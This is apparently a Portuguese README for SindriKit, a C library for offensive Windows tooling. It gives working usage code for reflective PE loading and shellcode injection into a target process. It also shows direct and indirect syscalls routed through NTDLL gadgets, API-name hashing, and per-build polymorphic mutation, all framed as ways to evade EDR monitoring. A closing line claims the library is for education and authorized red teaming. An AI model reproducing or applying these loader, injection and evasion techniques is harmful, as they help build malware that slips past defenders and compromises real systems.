
Uma biblioteca C fundamental para construir capacidades ofensivas operacionalmente críveis.
Desenvolvimento Ofensivo Merece Uma Arquitetura Melhor.
Uma biblioteca C para construir capacidades ofensivas.
A maioria dos utilitários ofensivos embute seus mecanismos de execução dentro da lógica da técnica. Um loader reflexivo não apenas mapeia uma imagem; ele a mapeia usando uma cadeia específica embutida no código de chamadas VirtualAlloc ou NTAPI nativas. Quando um EDR começa a monitorar essa cadeia específica, você é forçado a reescrever a ferramenta inteira.
O SindriKit resolve isso impondo uma separação de responsabilidades por meio de tabelas de abstração de interface:
Ao mover os mecanismos de execução para ponteiros de função em tempo de execução, você pode trocar toda a sua estratégia de chamadas Win32 para syscalls diretos brutos com uma única linha de código — sem alterar sua lógica de execução de payload.
snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) com uma cadeia de prioridade — troque ou estenda estratégias sem tocar no código de domínio.SND_MORPH. Gera assinaturas binárias únicas a cada build ao injetar predicados opacos voláteis no código C, matemática/NOPs funcionalmente equivalentes em stubs de Assembly e embaralhar o layout de memória das structs principais.cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Apenas duas linhas para sua ferramenta herdar todas as capacidades do SindriKit: parsing de PE, resolução de syscalls, carga reflexiva...
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ future tables ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
Na prática, isso significa que todo domínio segue o mesmo contrato:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
O SindriKit trata a resolução de syscalls como um mecanismo injetável, empilhando estratégias em ordem de prioridade. O motor tenta em cascata até que uma tenha sucesso:
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
O invocador é desacoplado da resolução de SSN — alterne entre syscalls diretos e indiretos sem modificar o código de domínio. A invocação indireta salta para um gadget legítimo da NTDLL, mantendo o endereço de retorno do syscall dentro de ntdll.dll.
Todo nome de API e string de módulo é removido do binário final em tempo de compilação por meio de uma única variável CMake:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
Cada hash é calculado com uma semente gerada aleatoriamente (se SND_RANDOMIZE_SEED=ON). A superfície estática muda completamente entre compilações sem tocar em uma linha de C.
Uma ponte Assembly MASM personalizada para invocação arbitrária de funções em tempo de execução. Builds x64 seguem precisamente a convenção de chamada x64 da Microsoft (shadow space, posicionamento de argumentos em registradores, alinhamento de pilha). Builds x86 empurram argumentos em ordem reversa com suporte para alvos cdecl e stdcall.
Um parser unificado de PE32/PE32+ com um flag is_mapped que lida corretamente tanto com imagens brutas em disco quanto com visões mapeadas em memória. Todo acesso ao diretório de dados é validado contra os limites do buffer rastreados antes do dereferenciamento. A resolução de exports suporta cadeias de forwarder até a profundidade 4 com busca baseada em hash.
Testado contra:
pe_mutator: nomes de seção zerados, estouros de inteiro, limites e_lfanew inválidos, imports corrompidos.Toda operação ofensiva é gerenciada por meio de uma estrutura de contexto discreta com enumeração de estágios. As operações podem ser pausadas entre estágios para ofuscação de sono ou implantação em etapas, retomadas limpas e inspecionadas para identificar o ponto exato de falha até o subsistema e o motivo.
Inicialize o pipeline de syscalls uma vez (padrão típico):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
O invocador é desacoplado da resolução de SSN — alterne entre syscalls diretos e indiretos sem modificar o código de domínio. A invocação indireta salta para um gadget legítimo da NTDLL, mantendo o endereço de retorno do syscall dentro de ntdll.dll.
Troque o perfil de execução com uma única atribuição:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
A resolução de módulos segue o mesmo padrão (snd_mod_win vs snd_mod_nt). Não existe backend de módulos baseado em syscall — imports usam PEB walk + EAT mesmo em perfis completos _sys.
SND_ENABLE_DEBUG=ONPara desenvolvimento local. snd_status_t se expande para incluir file, line e um buffer de string context de 128 bytes. SND_ERR_CTX e SND_DEBUG_PRINT emitem transições de máquina de estado, valores de campos de PE analisados e resultados de resolução de syscalls. Use SND_USE_PRINTF=ON para direcionar a saída para stdout em vez do console de debug.
SND_ENABLE_DEBUG=OFFA configuração padrão de implantação para binários operacionais. Toda string de diagnóstico, referência de arquivo e número de linha é completamente removida na compilação. snd_status_t se reduz a dois inteiros. Nada mais.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
Referência completa em docs/:
loader_winapi, loader_nowinapi, inject_pe, inject_shell, heavens_gatePlanejado: domínio Evasion.
O SindriKit foi criado apenas para fins educacionais, de pesquisa e de Red Teaming autorizado. Para o aviso legal completo e informações sobre considerações de OpSec, consulte a Política de Segurança.